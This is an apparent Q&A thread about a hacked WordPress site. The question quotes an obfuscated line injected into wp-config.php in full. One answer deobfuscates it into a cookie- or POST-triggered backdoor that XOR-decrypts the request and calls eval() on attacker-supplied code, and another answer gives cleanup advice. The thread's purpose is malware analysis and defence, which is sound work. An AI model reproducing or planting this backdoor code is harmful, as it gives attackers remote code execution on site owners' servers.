Wordpress Hacked, understanding obfuscated line on wp-config.php - php

Question

my friend's wordpress wp-config.php was added with one line of code:
$ge142efa['cfea']="\x6d\x57\x36\x5f\x6b\x64\x2f\x49\x42\x7e\x4b\x45\x72\x6c\x28\x2e\x7a\x3a\x2a\x39\x37\x61\x67\x22\x73\x31\x38\x9\x48\x23\x70\x34\x7c\x30\x26\x43\x2b\x27\x78\x3d\x75\x68\x5a\x54\x4c\x51\x79\xd\x5b\x4e\x33\x50\xa\x44\x55\x32\x4a\x20\x3c\x25\x65\x69\x46\x60\x59\x4f\x21\x56\x71\x74\x53\x24\x5e\x40\x47\x2c\x6e\x5d\x5c\x3b\x4d\x58\x76\x3f\x35\x29\x7b\x7d\x52\x63\x6f\x77\x66\x6a\x62\x3e\x41\x2d";$ge142efa[$ge142efa['cfea'][41].$ge142efa['cfea'][92].$ge142efa['cfea'][21].$ge142efa['cfea'][55].$ge142efa['cfea'][94]]=$ge142efa['cfea'][89].$ge142efa['cfea'][41].$ge142efa['cfea'][12];$ge142efa[$ge142efa['cfea'][41].$ge142efa['cfea'][60].$ge142efa['cfea'][84].$ge142efa['cfea'][26]]=$ge142efa['cfea'][90].$ge142efa['cfea'][12].$ge142efa['cfea'][5];$ge142efa[$ge142efa['cfea'][22].$ge142efa['cfea'][60].$ge142efa['cfea'][25].$ge142efa['cfea'][19].$ge142efa['cfea'][19].$ge142efa['cfea'][31].$ge142efa['cfea'][20]]=$ge142efa['cfea'][24].$ge142efa['cfea'][69].$ge142efa['cfea'][12].$ge142efa['cfea'][13].$ge142efa['cfea'][60].$ge142efa['cfea'][76];$ge142efa[$ge142efa['cfea'][38].$ge142efa['cfea'][21].$ge142efa['cfea'][55].$ge142efa['cfea'][21].$ge142efa['cfea'][84].$ge142efa['cfea'][60].$ge142efa['cfea'][5].$ge142efa['cfea'][60]]=$ge142efa['cfea'][61].$ge142efa['cfea'][76].$ge142efa['cfea'][61].$ge142efa['cfea'][3].$ge142efa['cfea'][24].$ge142efa['cfea'][60].$ge142efa['cfea'][69];$ge142efa[$ge142efa['cfea'][4].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][84].$ge142efa['cfea'][25]]=$ge142efa['cfea'][24].$ge142efa['cfea'][60].$ge142efa['cfea'][12].$ge142efa['cfea'][61].$ge142efa['cfea'][21].$ge142efa['cfea'][13].$ge142efa['cfea'][61].$ge142efa['cfea'][16].$ge142efa['cfea'][60];$ge142efa[$ge142efa['cfea'][16].$ge142efa['cfea'][55].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][50].$ge142efa['cfea'][89]]=$ge142efa['cfea'][30].$ge142efa['cfea'][41].$ge142efa['cfea'][30].$ge142efa['cfea'][82].$ge142efa['cfea'][60].$ge142efa['cfea'][12].$ge142efa['cfea'][24].$ge142efa['cfea'][61].$ge142efa['cfea'][90].$ge142efa['cfea'][76];$ge142efa[$ge142efa['cfea'][61].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][26].$ge142efa['cfea'][50].$ge142efa['cfea'][33].$ge142efa['cfea'][55].$ge142efa['cfea'][84].$ge142efa['cfea'][25]]=$ge142efa['cfea'][40].$ge142efa['cfea'][76].$ge142efa['cfea'][24].$ge142efa['cfea'][60].$ge142efa['cfea'][12].$ge142efa['cfea'][61].$ge142efa['cfea'][21].$ge142efa['cfea'][13].$ge142efa['cfea'][61].$ge142efa['cfea'][16].$ge142efa['cfea'][60];$ge142efa[$ge142efa['cfea'][4].$ge142efa['cfea'][92].$ge142efa['cfea'][26].$ge142efa['cfea'][20].$ge142efa['cfea'][50].$ge142efa['cfea'][2]]=$ge142efa['cfea'][94].$ge142efa['cfea'][21].$ge142efa['cfea'][24].$ge142efa['cfea'][60].$ge142efa['cfea'][2].$ge142efa['cfea'][31].$ge142efa['cfea'][3].$ge142efa['cfea'][5].$ge142efa['cfea'][60].$ge142efa['cfea'][89].$ge142efa['cfea'][90].$ge142efa['cfea'][5].$ge142efa['cfea'][60];$ge142efa[$ge142efa['cfea'][82].$ge142efa['cfea'][89].$ge142efa['cfea'][33].$ge142efa['cfea'][84]]=$ge142efa['cfea'][24].$ge142efa['cfea'][60].$ge142efa['cfea'][69].$ge142efa['cfea'][3].$ge142efa['cfea'][69].$ge142efa['cfea'][61].$ge142efa['cfea'][0].$ge142efa['cfea'][60].$ge142efa['cfea'][3].$ge142efa['cfea'][13].$ge142efa['cfea'][61].$ge142efa['cfea'][0].$ge142efa['cfea'][61].$ge142efa['cfea'][69];$ge142efa[$ge142efa['cfea'][40].$ge142efa['cfea'][31].$ge142efa['cfea'][19].$ge142efa['cfea'][25]]=$ge142efa['cfea'][61].$ge142efa['cfea'][31].$ge142efa['cfea'][2].$ge142efa['cfea'][25];$ge142efa[$ge142efa['cfea'][82].$ge142efa['cfea'][55].$ge142efa['cfea'][55].$ge142efa['cfea'][19].$ge142efa['cfea'][26].$ge142efa['cfea'][2].$ge142efa['cfea'][26].$ge142efa['cfea'][55]]=$ge142efa['cfea'][22].$ge142efa['cfea'][55].$ge142efa['cfea'][94].$ge142efa['cfea'][89];$ge142efa[$ge142efa['cfea'][12].$ge142efa['cfea'][60].$ge142efa['cfea'][84].$ge142efa['cfea'][94].$ge142efa['cfea'][92]]=$_POST;$ge142efa[$ge142efa['cfea'][93].$ge142efa['cfea'][19].$ge142efa['cfea'][20].$ge142efa['cfea'][84]]=$_COOKIE;#$ge142efa[$ge142efa['cfea'][38].$ge142efa['cfea'][21].$ge142efa['cfea'][55].$ge142efa['cfea'][21].$ge142efa['cfea'][84].$ge142efa['cfea'][60].$ge142efa['cfea'][5].$ge142efa['cfea'][60]]($ge142efa['cfea'][60].$ge142efa['cfea'][12].$ge142efa['cfea'][12].$ge142efa['cfea'][90].$ge142efa['cfea'][12].$ge142efa['cfea'][3].$ge142efa['cfea'][13].$ge142efa['cfea'][90].$ge142efa['cfea'][22],NULL);#$ge142efa[$ge142efa['cfea'][38].$ge142efa['cfea'][21].$ge142efa['cfea'][55].$ge142efa['cfea'][21].$ge142efa['cfea'][84].$ge142efa['cfea'][60].$ge142efa['cfea'][5].$ge142efa['cfea'][60]]($ge142efa['cfea'][13].$ge142efa['cfea'][90].$ge142efa['cfea'][22].$ge142efa['cfea'][3].$ge142efa['cfea'][60].$ge142efa['cfea'][12].$ge142efa['cfea'][12].$ge142efa['cfea'][90].$ge142efa['cfea'][12].$ge142efa['cfea'][24],0);#$ge142efa[$ge142efa['cfea'][38].$ge142efa['cfea'][21].$ge142efa['cfea'][55].$ge142efa['cfea'][21].$ge142efa['cfea'][84].$ge142efa['cfea'][60].$ge142efa['cfea'][5].$ge142efa['cfea'][60]]($ge142efa['cfea'][0].$ge142efa['cfea'][21].$ge142efa['cfea'][38].$ge142efa['cfea'][3].$ge142efa['cfea'][60].$ge142efa['cfea'][38].$ge142efa['cfea'][60].$ge142efa['cfea'][89].$ge142efa['cfea'][40].$ge142efa['cfea'][69].$ge142efa['cfea'][61].$ge142efa['cfea'][90].$ge142efa['cfea'][76].$ge142efa['cfea'][3].$ge142efa['cfea'][69].$ge142efa['cfea'][61].$ge142efa['cfea'][0].$ge142efa['cfea'][60],0);#$ge142efa[$ge142efa['cfea'][82].$ge142efa['cfea'][89].$ge142efa['cfea'][33].$ge142efa['cfea'][84]](0);$tf027f=NULL;$w38258dd=NULL;$ge142efa[$ge142efa['cfea'][0].$ge142efa['cfea'][33].$ge142efa['cfea'][33].$ge142efa['cfea'][25].$ge142efa['cfea'][89].$ge142efa['cfea'][26].$ge142efa['cfea'][31].$ge142efa['cfea'][20].$ge142efa['cfea'][84]]=$ge142efa['cfea'][33].$ge142efa['cfea'][31].$ge142efa['cfea'][20].$ge142efa['cfea'][92].$ge142efa['cfea'][94].$ge142efa['cfea'][84].$ge142efa['cfea'][31].$ge142efa['cfea'][94].$ge142efa['cfea'][97].$ge142efa['cfea'][26].$ge142efa['cfea'][19].$ge142efa['cfea'][89].$ge142efa['cfea'][20].$ge142efa['cfea'][97].$ge142efa['cfea'][31].$ge142efa['cfea'][33].$ge142efa['cfea'][94].$ge142efa['cfea'][31].$ge142efa['cfea'][97].$ge142efa['cfea'][26].$ge142efa['cfea'][26].$ge142efa['cfea'][25].$ge142efa['cfea'][55].$ge142efa['cfea'][97].$ge142efa['cfea'][84].$ge142efa['cfea'][20].$ge142efa['cfea'][92].$ge142efa['cfea'][21].$ge142efa['cfea'][26].$ge142efa['cfea'][94].$ge142efa['cfea'][55].$ge142efa['cfea'][2].$ge142efa['cfea'][25].$ge142efa['cfea'][5].$ge142efa['cfea'][33].$ge142efa['cfea'][20];global$m001c8475;function g2bc($tf027f,$p7ec){global$ge142efa;$de211af="";for($z225cd560=0;$z225cd560<$ge142efa[$ge142efa['cfea'][22].$ge142efa['cfea'][60].$ge142efa['cfea'][25].$ge142efa['cfea'][19].$ge142efa['cfea'][19].$ge142efa['cfea'][31].$ge142efa['cfea'][20]]($tf027f);){for($a7a4f09df=0;$a7a4f09df<$ge142efa[$ge142efa['cfea'][22].$ge142efa['cfea'][60].$ge142efa['cfea'][25].$ge142efa['cfea'][19].$ge142efa['cfea'][19].$ge142efa['cfea'][31].$ge142efa['cfea'][20]]($p7ec)&&$z225cd560<$ge142efa[$ge142efa['cfea'][22].$ge142efa['cfea'][60].$ge142efa['cfea'][25].$ge142efa['cfea'][19].$ge142efa['cfea'][19].$ge142efa['cfea'][31].$ge142efa['cfea'][20]]($tf027f);$a7a4f09df++,$z225cd560++){$de211af.=$ge142efa[$ge142efa['cfea'][41].$ge142efa['cfea'][92].$ge142efa['cfea'][21].$ge142efa['cfea'][55].$ge142efa['cfea'][94]]($ge142efa[$ge142efa['cfea'][41].$ge142efa['cfea'][60].$ge142efa['cfea'][84].$ge142efa['cfea'][26]]($tf027f[$z225cd560])^$ge142efa[$ge142efa['cfea'][41].$ge142efa['cfea'][60].$ge142efa['cfea'][84].$ge142efa['cfea'][26]]($p7ec[$a7a4f09df]));}}return$de211af;}function i461($tf027f,$p7ec){global$ge142efa;global$m001c8475;return$ge142efa[$ge142efa['cfea'][82].$ge142efa['cfea'][55].$ge142efa['cfea'][55].$ge142efa['cfea'][19].$ge142efa['cfea'][26].$ge142efa['cfea'][2].$ge142efa['cfea'][26].$ge142efa['cfea'][55]]($ge142efa[$ge142efa['cfea'][82].$ge142efa['cfea'][55].$ge142efa['cfea'][55].$ge142efa['cfea'][19].$ge142efa['cfea'][26].$ge142efa['cfea'][2].$ge142efa['cfea'][26].$ge142efa['cfea'][55]]($tf027f,$m001c8475),$p7ec);}foreach($ge142efa[$ge142efa['cfea'][93].$ge142efa['cfea'][19].$ge142efa['cfea'][20].$ge142efa['cfea'][84]]as$p7ec=>$i61171){$tf027f=$i61171;$w38258dd=$p7ec;}if(!$tf027f){foreach($ge142efa[$ge142efa['cfea'][12].$ge142efa['cfea'][60].$ge142efa['cfea'][84].$ge142efa['cfea'][94].$ge142efa['cfea'][92]]as$p7ec=>$i61171){$tf027f=$i61171;$w38258dd=$p7ec;}}$tf027f=#$ge142efa[$ge142efa['cfea'][61].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][26].$ge142efa['cfea'][50].$ge142efa['cfea'][33].$ge142efa['cfea'][55].$ge142efa['cfea'][84].$ge142efa['cfea'][25]]($ge142efa[$ge142efa['cfea'][40].$ge142efa['cfea'][31].$ge142efa['cfea'][19].$ge142efa['cfea'][25]]($ge142efa[$ge142efa['cfea'][4].$ge142efa['cfea'][92].$ge142efa['cfea'][26].$ge142efa['cfea'][20].$ge142efa['cfea'][50].$ge142efa['cfea'][2]]($tf027f),$w38258dd));if(isset($tf027f[$ge142efa['cfea'][21].$ge142efa['cfea'][4]])&&$m001c8475==$tf027f[$ge142efa['cfea'][21].$ge142efa['cfea'][4]]){if($tf027f[$ge142efa['cfea'][21]]==$ge142efa['cfea'][61]){$z225cd560=Array($ge142efa['cfea'][30].$ge142efa['cfea'][82]=>#$ge142efa[$ge142efa['cfea'][16].$ge142efa['cfea'][55].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][50].$ge142efa['cfea'][89]](),$ge142efa['cfea'][24].$ge142efa['cfea'][82]=>$ge142efa['cfea'][25].$ge142efa['cfea'][15].$ge142efa['cfea'][33].$ge142efa['cfea'][97].$ge142efa['cfea'][25],);echo#$ge142efa[$ge142efa['cfea'][4].$ge142efa['cfea'][84].$ge142efa['cfea'][33].$ge142efa['cfea'][84].$ge142efa['cfea'][25]]($z225cd560);}elseif($tf027f[$ge142efa['cfea'][21]]==$ge142efa['cfea'][60]){eval($tf027f[$ge142efa['cfea'][5]]);}exit();}
What does it means?
I've tried to change eval to print, but nothing shown.
https://eval.in/584427

Answer 1

By using a var_dump after the first statement with $_COOKIE I could see that the structure of the first array appears to contain several function names which are supposedly called later:
var_dump($ge142efa);
array(14) {
["cfea"]=>
[N3Pring(98) "mW6_kd/IB~KErl(.z:*97ag"s18 H#p4|0&C+'x=uhZTLQy
DU2J <%eiF`YO!VqtS$^#G,n]\;MXv?5){}Rcowfjb>A-"
["hfa2b"]=>
string(3) "chr"
["he58"]=>
string(3) "ord"
["ge19947"]=>
string(6) "strlen"
["xa2a5ede"]=>
string(7) "ini_set"
["k5051"]=>
string(9) "serialize"
["z2503c"]=>
string(10) "phpversion"
["i50830251"]=>
string(11) "unserialize"
["kf8736"]=>
string(13) "base64_decode"
["vc05"]=>
string(14) "set_time_limit"
["u491"]=>
string(4) "i461"
["v2298682"]=>
string(4) "g2bc"
["re5bf"]=>
string(6) "$_POST"
["j975"]=>
string(8) "$_COOKIE"
}
I have replaced the $_POST and $_COOKIE contents with strings as placeholders because my test environment is php -f inside a container.
The part between this array and the first function declaration boils down to this:
#ini_set('error_log', NULL); // #$ge142efa['xa2a5ede']('error_log', NULL);
#ini_set('log_errors', 0); // #$ge142efa['xa2a5ede']('log_errors', 0);
#ini_set('max_execution_time', 0); // #$ge142efa['xa2a5ede']('max_execution_time', 0);
#set_time_limit(0); // #$ge142efa['vc05'](0);
$tf027f = NULL;
$w38258dd = NULL;
$ge142efa['m001c8475'] = '047fb54b-89c7-40b4-8812-57fa8b261d07';
The first function reads thus:
function g2bc($tf027f, $p7ec){
global $ge142efa;
$de211af = "";
for($i = 0; $i < "strlen"($tf027f);){
for($j = 0; $j < "strlen"($p7ec) && $i < "strlen"($tf027f); $j++, $i++){
$de211af .= "chr"("ord"($tf027f[$i])^"ord"($p7ec[$j]));
}
}
return $de211af;
}
It appears to xor two strings and return the result.
The function below that, i461, uses it twice:
function i461($tf027f, $p7ec){
global $ge142efa;
global $m001c8475;
return "g2bc"("g2bc"($tf027f,$m001c8475),$p7ec);
}
The code below these two functions
can be beautified to this:
foreach($_COOKIE as $p7ec => $i61171){
$tf027f = $i61171;
$w38258dd = $p7ec;
}
if(!$tf027f){
foreach($_POST as $p7ec => $i61171){
$tf027f = $i61171;
$w38258dd = $p7ec;
}
}
$tf027f =# "unserialize"("i461"("base64_decode"($tf027f),$w38258dd));
if(isset($tf027f["ak"]) && $m001c8475 == $tf027f["ak"]){
if($tf027f["a"] == "i"){
$z225cd560 = Array("pv" => #"phpversion"(), "sv" => "1.0-1",);
echo#"serialize"($z225cd560);
}elseif($tf027f["a"] == "e"){
eval($tf027f["d"]);
}
exit();
}
The critical part here is the eval. From my point of view this looks like code that executes something given by the right combination of $_COOKIE and/or $_POST. Basically a portion of code waiting to get the right request and execute the code specified by it.

Answer 2

I'm Just dealing with same issue. Your friend's have to make some changes. May be IP Address is traced by some person & he is doing some changes in database and it's affecting your front end and code also.
- If you have backup of database then change the database.
- Install some security Plugin like All In One WP Security & Firewall.
(Because if IP is traced again than it may help in future).
Some other changes.
Search Images path in database may be it contains malware.
Remove unused script from code.
Change Admin panel login credential.
Change Cpanel credential.